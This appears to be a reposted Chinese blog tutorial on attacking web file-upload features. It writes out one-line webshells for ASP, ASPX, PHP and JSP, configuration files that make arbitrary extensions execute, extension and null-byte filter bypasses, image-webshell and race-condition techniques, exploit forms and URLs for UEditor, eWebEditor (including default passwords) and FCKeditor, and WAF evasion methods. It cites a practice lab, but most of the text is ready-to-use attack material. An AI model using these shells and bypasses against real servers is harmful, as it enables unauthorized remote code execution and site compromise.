jsp文件上传_文件上传
一、文件上傳的目的——腳本文件
文件上傳的一共可造成三種危害,從低到高分別是,任意內容文件,html文件,腳本文件。
任意內容文件
任意內容文件指的是雖然文件后綴不可控,但是文件內容可控,比如我可以上傳一個內容為<?php phpinfo();?>的jpg文件。這種是未校驗文件頭和文件內容導致的,往往不被視為漏洞,使用它們通常需要其他漏洞結合利用,比如php cgi解析漏洞,文件包含漏洞,結合任意目錄上傳覆蓋正常文件。
html文件
即允許上傳一個html格式的文件(包括htm等),等同于存儲XSS,但由于實際利用過程中必須得釣魚,所以其危害等同于反射XSS,同時也曾有人拿這種漏洞做黑帽SEO。
由于富文本編輯的未授權上傳的特殊性,結合html的特殊性,kindeditor就曾爆出這樣的漏洞。
百度搜inurl:kindeditor/attached/file/
除了html文件之外,xml文件能起到同樣的效果,xml xss的語句如下。
<?xml version="1.0"?>或者
<?xml version="1.0"?>以及svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>但由于這種漏洞危害還是過小,所以并不受重視,Kindeditor默認支持html上傳,ueditor默認支持xml上傳。
腳本文件
腳本文件指可執(zhí)行動態(tài)腳本,就是webshell,也是文件上傳漏洞的重點,一旦出現,即使語言環(huán)境對危害函數嚴防死守,也會造成嚴重危害。
首先我們要知道有哪些腳本文件,常見的4大類,asp,aspx,php,jsp。
asp
IIS6.0默認支持,同時更高版本也通常為了兼容而支持。
IIS6.0默認還支持cer,cdx,asa三種格式以asp解析,IIS7.0及以上的版本只支持cer。
asp一句話木馬和hello world
<%eval request("a")%> <%Response.Write("hello world")%>aspx
IIS7.0及以上默認支持,aspx沒有其他格式,但有可以起到一樣效果的ashx和asmx。
aspx一句話和hello world
<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%> <%Response.Write("hello world")%>ashx,asmx,soap
https://github.com/luoke90hou/files/blob/main/customize.ashx
https://github.com/luoke90hou/files/blob/main/customize.asmx
https://github.com/luoke90hou/files/blob/main/Customize.soap
web.config
類似apache的.htaccess也可以讓當前目錄的任意后綴文件解析為asp/aspx,以下為參考。
<?xml version="1.0" encoding="UTF-8"?> <configuration><system.webServer><handlers><add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" /></handlers></system.webServer> </configuration>stm,shtm,shtml
不能作為木馬,但可以讀取web.config內容和一些信息。
<!--#ECHO var="ALL_HTTP"--> <!--#ECHO var="DOCUMENT_NAME"--> <!--#ECHO var="SERVER_SOFTWARE"--> <!--#ECHO var="SERVER_NAME"--> <!--#ECHO var="SERVER_PORT"--> <!--#ECHO var="REMOTE_ADDR"--> <!--#ECHO var="REMOTE_HOST"--> <!--#ECHO var="PATH_TRANSLATED"--> <!--#ECHO var="PATH_INFO"--> <!--#ECHO var="HTTP_ACCEPT"--> <!--#ECHO var="DOCUMENT_URI"--> <!--#include file="./web.config"-->另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中當webshell,但都需要編譯,無法直接通過文件上傳getshell,通常作為后門維持。
如果IIS部署了MVC3,還支持cshtml
https://github.com/luoke90hou/files/blob/main/customize.cshtml
PHP
IIS,apache,nginx均可能支持。其中apache可能默認支持從左向右識別后綴,即1.php.rar.bak,同時可能有php格式支持正則如下。
也有的版本是<FileMatch ".+.ph(p[3457]?|t|tml).">
也就是說php3,php4,php5,php7,pht,phtml,phar均有可能解析成php
除此之外,如下內容的.htaccess可支持同目錄下任意格式解析成php,
AddType application/x-httpd-php .abc.user.ini的效果和.htaccess差不多,但是必須要求同目錄下有一個php文件。
auto_prepend_file=a.jpg.htaccess只支持apache,.user.ini支持所有cgi模式啟動的php
php一句話和phpinfo如下
<?php @eval($_POST['a']) ?> <?php phpinfo();?>jsp
tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp
jsp shell和hello world如下
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%> <%out.println("Hello world");%>jspx是jsp的xml表達,shell如下
<jsp:root xmlns:jsp="Oracle Java Technologies | Oracle" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:scriptlet> Runtime.getRuntime().exec(request.getParameter("i")); </jsp:scriptlet> </jsp:root>war格式為jsp文件打包,通常用來快速部署網站用的,tomcat,jboss,weblogic,websphere后臺均可通過部署war包來getshell。
jspf,jspa,jhtml均為額外配置腳本文件,默認無此支持
除了上述常見腳本文件之外,python網站使用py腳本,perl網站使用pl腳本和cgi腳本,ColdFusion網站使用cfm腳本,Servlet網站使用java腳本。這些均有對應的webshell。
一、文件上傳可以控制的參數
靶場:https://github.com/c0ny1/upload-labs
1,前端驗證,MIME驗證
基本無用,抓包改包即可突破
2,目錄或者文件名
現在絕大部分文件上傳后都是用時間戳或者隨機hash重命名,一般也不讓控制目錄。
如果允許完全控制文件名,或者目錄,則可以嘗試上傳../../../testtest.php文件穿越目錄。具體利用方法結合實際情況,比如繞過當前目錄不解析,增加任務計劃,web配置,權限足夠甚至可以直接覆蓋掉passwd。即使權限不夠,也能嘗試用惡意doc,xls,exe覆蓋掉正常的文件。
如果不完全控制,也就是上傳test.php.png會拼接成202004017141111111test.php.png,也可以嘗試用特殊字符截斷成202004017141111111test.php%00.png。不單單可以在文件名上截斷,同樣可以在目錄上截斷。
如果目錄,文件名均不可控,后綴使用黑名單控制,可以參考第一章,用冷門后綴繞過。Windows服務器上還有一些其他辦法。
大小寫 【PhP】
自動省略最后的.和空格 【php.】【php 】
NTFS文件流【php::$DATA】Pass-08
最安全的做法就是目錄,文件名均不可控,再加白名單校驗后綴。此時只能嘗試特殊字符截斷,linux中只有00可以截斷,windows中?:<>/|等不支持的字符均有可能產生截斷效果。
3,文件內容控制
有時候服務器會對文件的真實性進行校驗,比如檢查圖片文件的真實性,檢查xlsx文件是否可以解析,我們就需要控制文件內容。文件內容可控點分為兩部分,一是文件頭,即16進制下的前幾個字符,最常用的是gif文件頭,GIF89au,gif文件頭由于全是英文數字,比png和jpg適用性都廣。
二是整個文件內容,比如對圖片尺寸進行校驗甚至二次渲染,單單加入文件頭是無法上傳的,此時必須以圖片馬的方式上傳。
copy 1.png/b+1.php 2.png
4,繞過GD庫
GD庫是php的圖片渲染插件,方便于把圖片統一尺寸。即使是符合尺寸的圖片也會被二次渲染。
這種情況下需要對比圖片渲染前后未被修改的部分,在此插入payload。
繞過GD庫有如下原則,圖片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最難成功。
Pass-16靶場,已成功的一個jpg
https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg
參考https://xz.aliyun.com/t/2657
5,條件競爭
如果文件上傳時分兩步,先生成文件再校驗,不合規(guī)再刪除,則可以利用時間差來訪問還未刪除的腳本文件。也可以利用報錯使刪除邏輯不再執(zhí)行。
條件競爭的隱藏條件就是文件路徑可預測,也就是目錄和文件名要固定,或者一定程度可猜解。
參考Pass-17,可以用bp大量發(fā)包上傳,也可以bp大量發(fā)包訪問webshell的地址,此時一般用訪問即生成一個webshell的小馬。
三、編輯器的漏洞
1,1.4.3 aspx ueditor
由于windows文件系統問號截斷導致,可以利用遠程下載功能,在惡意服務器上下載后綴為jpg的webshell。以下是exp
<form action=" http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr:<input type="text" name="source[]" /></p > 0:50 2019/1/1<input type="submit" value="Submit" /> </form>2,eWebEditor,asp
后臺有默認密碼admin/admin,admin/admin888,admin888/admin888,數據庫地址eWebEditor/db/ewebeditor.asa
后臺可直接修改樣式然后預覽上傳webshell。
同時還有文件遍歷漏洞
3,fckeditor,asp和php
均為低版本漏洞,asp需配合IIS6.0解析漏洞,上傳1.asp;.png兩次,第一次被重命名為1_asp;.png,第二次被重命名1.asp;(1).png
asp也可以新建1.asp的文件夾
/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z
php則需要配合php5.2 %00截斷漏洞,在目錄處截斷
/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif
四、 繞過waf攔截
文件上傳繞waf,可以增加干擾讓waf識別不出文件上傳
如上圖,boundary前后可以加空格。
Content-Disposition filename可以隨意大小寫
form-data可以替換成任意值
"3.php"雙引號可以去掉
3.php可以換行,后面可以加%00字符
繞過waf對于文件內容的檢測,可以先上傳本地包含的木馬,再上傳加密的shellcode,或者遠程包含,或者免殺+圖片馬的思路,也可以先上傳一個寫文件的木馬,然后一個字符一個字符寫出新的木馬。
有的waf禁止上傳exe或者二進制文件,可以利用系統自帶的遠程下載工具下載而非web層面上的上傳,比如wget,curl,powershell,certutil,bitsadmin,vbs。
還有的waf會對文件大小進行檢測,可以上傳多個小文件,利用winrar,copy命令合并。
覺得還不錯的可以關注一下公眾號——珂技知識分享,有些滲透實例會發(fā)布在上面。
公眾號總結
以上是生活随笔為你收集整理的jsp文件上传_文件上传的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python生成词云_今天玩点啥:使用p
- 下一篇: js生成唯一id_【融云分析】如何实现分